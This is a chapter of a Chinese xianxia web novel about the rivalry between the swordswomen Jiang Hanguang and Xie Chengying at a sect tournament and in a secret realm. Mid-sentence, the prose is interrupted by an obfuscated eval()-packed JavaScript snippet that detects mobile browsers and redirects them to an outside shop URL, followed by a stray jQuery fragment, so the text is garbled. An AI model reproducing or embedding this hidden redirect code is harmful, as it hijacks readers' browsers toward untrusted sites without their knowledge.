姜含光从谢承影这古怪行径中琢磨出一点苗头来。
“什么意思?”她抬起眉毛,“我们堂堂谢承影谢真人,这是在吃醋么?”
谢承影随意哈哈道:“何以见得?就算你眼高于顶、孤芳自赏,也不能自恋到如此地步吧?”
这人的嘴实在可恨,姜含光不再与她掰扯,自认今日气运不佳,便又往人多的地方走。谁料谢承影又狗皮膏药似的贴上来:“姜仙君,姜仙君。哎,谢仙君别走啊,你还没回答我问题呢——谢仙君打算什么时候来为我治病啊?”
一直到人群中,谢承影也对周围投来的视线浑然不觉,继续嚷嚷着要姜含光对自己负责,大有不得到肯定回答就不罢休的架势。
姜含光没谢承影那么厚的脸皮,无法对众修士越来越古怪的视线无动于衷,又不想轻易遂了谢承影的愿,只能轻轻磨蹭后槽牙,加快脚步,试图再甩开谢承影一次。
而带队时谢承影是故意不上前,如今谢承影有意缠着她,谁也拿谢承影没办法。姜含光一路走到擂台前,前面除了擂台结界再无路可走,背后又站着一个不紧不慢的谢承影,万般无奈之下,还是转身先发制人:“你到底想干什么?”
“我?”谢承影收到她的质问,瞬间面露无辜,耸肩道,“不是说的很清楚了吗?我想要你——和我打架啊。”
姜含光不耐烦:“别扯淡。你哪次找我打架最后是没打成的?现在纠缠不清一定另有目的,赶紧说清楚。”
谢承影难得迟缓一瞬,似乎自己也在思考这个问题的答案。
姜含光见她停了动作,侧身就想离开,然而刚迈出一步,便又被对面的人又拽住了手腕。
“别跑啊。”谢承影摩挲了两下她的腕骨,心情愉悦道,“我想到答案了。”
“有话就说。”
“嗯……”
又假模假样犹豫一番,谢承影才歪着脑袋,半真半假地道:“可能是见你师姐与你亲近时,你全然不像现在这般张牙舞爪,所以心生好奇,想要探查一番?”
说罢,还要煞有其事地压低声音:“喂,姜含光,我倒真想知道,你怎么就对旁人都温和知礼,唯独看我这么不顺眼?”
姜含光纵横修真界十五年,以为什么奇诡招数都见过了,却还是于此时此刻拜在谢承影的脸面之下。
先来挑衅她,再问她为什么看自己不顺眼,贼喊捉贼、倒打一耙,不要脸已到了成圣的境界。
若修真界不按灵力排论剑榜,反转而用脸皮厚度排的话,她恐怕也可以收拾收拾东西,早日摒弃掉以后要做天下第一的春秋大梦了——谢承影在此方面简直打遍天下无敌手,还比什么?!
她冷冷地与谢承影对视,一句话也不多说,只恨恨吐出三个字:“一边去。”
再之后,便一直不理会谢承影的搭话。
两人之间的僵局维持到试炼大会开幕为止——作为不同宗门的出战门生,她们要各自回到各自的队伍里。
姜含光刚回到姜疏身边,就被一群小师妹围了个水泄不通。
“姜师姐,姜师姐。”小师妹们一个两个都好奇得不行,连带对从来都冷脸待人的姜含光的畏惧也消退了不少,十几张嘴嚷得像小鸟讨食,“方才那个人是玉河的忘归剑谢真人么?她为什么要缠着你,让你负责呀?”
姜含光闭目,默念两遍清心咒,试图让自己平心静气。然而终究事与愿违,有个人只需存在就能让她大动肝火。
所以她就着半阖目的动作,冷声道:“是她一个人在发癔症,你们不必理会。”
小师妹们怔怔:“啊……癔症……”
“对。”姜含光直言,“谢承影有病。脑子有病。”
恰好这时照兰宗主沈越青宣布试炼大会正式开幕——按照四大宗门宗主的年龄排序,沈越青最为年长,因此每年试炼大会,都由她代行宣布开幕之职。
女人威严的声音由看台传至场下,姜疏轻轻睨姜含光一眼:“得了,准备上场。方才打情骂俏还不够,要和你的小师妹们也再来一轮不成?”
姜含光道:“师姐这用词可真难听,什么叫打情骂俏?”
小师妹们欢呼:“哦!打情骂俏!”
姜含光:“……”
她放弃了继续辩驳,将问仙握在手上,等待第一轮擂台开始。
前面几轮都是小打小闹,姜含光几乎不必出剑就拿下了胜利。中场休息时,她一边擦汗,一边听小师妹们在她耳边吵闹。
小孩儿们尚且十二三岁,正是最活泼懵懂的年纪,来一次试炼大会,就能飞快和周围其它宗门的门生打成一片,因而消息也最是灵通。
几个人说着说着,聊得忘情,忽然说到谢承影运气不佳,第二轮就碰到照兰未来的宗主沈宁安。沈宁安修行刻苦,谢承影又魂不守舍,于是惜败于沈宁安剑下,草草结束了自己今年的论剑。
说者无意,听者有心。姜含光坐在一边,将所有话都听进了耳朵里,眉头顿时蹙成一团。
好好的论剑,非但不用心对待,还在擂台上出神,这就是谢承影说的——想和她打架?看来真实决心实在比不上她嘴里说的一半好听。
过分。
姜含光因为这样的愤懑生出一种去找谢承影质问个清楚的冲动,但很快下一轮又要开始,她只顾得上调息片刻,便重新走向擂台。
接下来几轮都是优胜过后的对手,实力不容小觑,等姜含光再从擂台上下来,满心又只剩战意,无心再和谢承影斗嘴皮子了。
罢了,她心道,谢承影输了论剑,这不是她应当乐见其成的事么,她究竟有什么好愤懑的呢?
最终,姜疏与姜含光接连败于兴致大发,下台参战的花令音手中。长辈下场斗法是常事,场内诸多长辈,却也都不敌花令音。花宗主非但灵力高深,一手暗器也出神入化,姜含光一时不查,被一剑抵住咽喉。
细看一眼,才发现花令音的沉璧剑只出鞘了一寸,剑鞘上的灵芝纹几乎要刻进姜含光的瞳孔深处。
姜含光抱剑认输。
花令音笑眯眯地将剑身甩进鞘中,道:“今日是我倚老卖老,加之用了暗器,不然不一定能敌过你。真是后生可畏,后生可畏啊。”
因着姜未澜对花令音的态度,姜含光只草草一礼,俯首道:“多谢花宗主肯定。”
说罢,转身下台。
众门生又在台下等了一会儿,终于等到今年魁首角逐完毕,沈越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644369|205509||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
青大手一挥,开启秘境入口。
“走吧。”姜疏从惜败之后便没怎么发话,看到秘境开启,才回身向姜含光伸出手,莞尔道,“第一年参加秘境,我实在太期待了。”
与试剑不同,秘境侧重于培养晚辈祓除邪祟的能力,能被称为“仙君”的前辈均不会入场,只有晚辈结伴摸爬滚打。
这意味着,若想考量自己在上下十年间的同辈中处于什么层次,秘境是最直接的途径。
姜含光将手放入姜疏掌心。
她知道姜疏很在意这次秘境。
白光与灵流交织,秘境入口向她们敞开一个豁口,走进入口,便又觉阴风阵阵,袖中阴凉。这一届秘境建立在沈越青的记忆之上。
姜含光没认真听沈越青开场时的宣讲,等到此时此刻,看到满目荒芜,才知道自己一脚踏进了破天域附近,当下又生出些莫名的兴致来。
“这是姚家那一处?”她四下望望,缓缓道,“姚家确实伟大,此处当真寸草不生。”
姜疏道:“是了,这次取的应当就是沈宗主帮衬姚家的回忆,她也心善,比其余宗主去的都勤。”
“那这次秘境对师姐意义不凡。”姜含光侧目道,“以后师姐也要担宗主的大梁。”
姜疏拔出手上的竞天剑,一剑削去路边的邪祟,沉默片刻,才扭头看向姜含光:“有时我也会想——”
“想什么?”
“……算了。”姜疏挪开眼睛,“也没什么,就是在想,我究竟能不能担起宗主大任。”
姜含光也停顿了,许久才道:“全天下没有任何人比师姐适合做云极宗主。”
“我也觉得。”姜疏表情一软,眼角眉梢重新镀上温温柔柔的笑意,“你说的不错。还是我多虑了,每天担心这担心那,纯粹是自己难为自己。”
云极过了十五岁的门生大都实力不俗,无需两人再担忧,姜疏整理好心情,也没再反复念叨规矩,只凭神识往邪祟密集的地方走。
姜含光跟着她杀了几只邪祟,忽而道:“师姐,我去看看另一个方向。”
“怎么忽然要走?”云极门生有的跟在她们身后,有的也已经自行行动了,姜疏却没想到姜含光也要跟自己分开,“不怕离了队伍,你那打情骂俏的谢某某又缠上你?”
“……”姜含光呼吸一滞,显然并不愿意被谢承影缠上,而权衡利弊,还是觉得自己去找个地方蹲到秘境结束为妙,坚持道,“她要跟过来也与我无关,我只是想自己探探。”
“也是。”姜疏理解,“你神识这么灵敏,跟在我后面反而浪费,你自己去吧。”
姜含光抿了一下唇,想说点什么,却还是什么也没说出口,只一拱手,自己往相反的方向走了。
她压根没注意玉河门生行进的方向,也不确定谢承影究竟会不会如姜疏推测的那般缠上来,心中脉络搅在一块,难受得很,干脆全都挥开,什么也不惦记,只瞎走一通。
也不知是运气太好还是太背,刚走出一炷香的工夫,前方便出现了一个熟悉的身影。
姜含光立在原地,目光扫过黄色衣裳上的黑色暗纹,暗叹自己竟还有乌鸦嘴这一天赋,费尽心力,最终闯到了最不想见的人面前。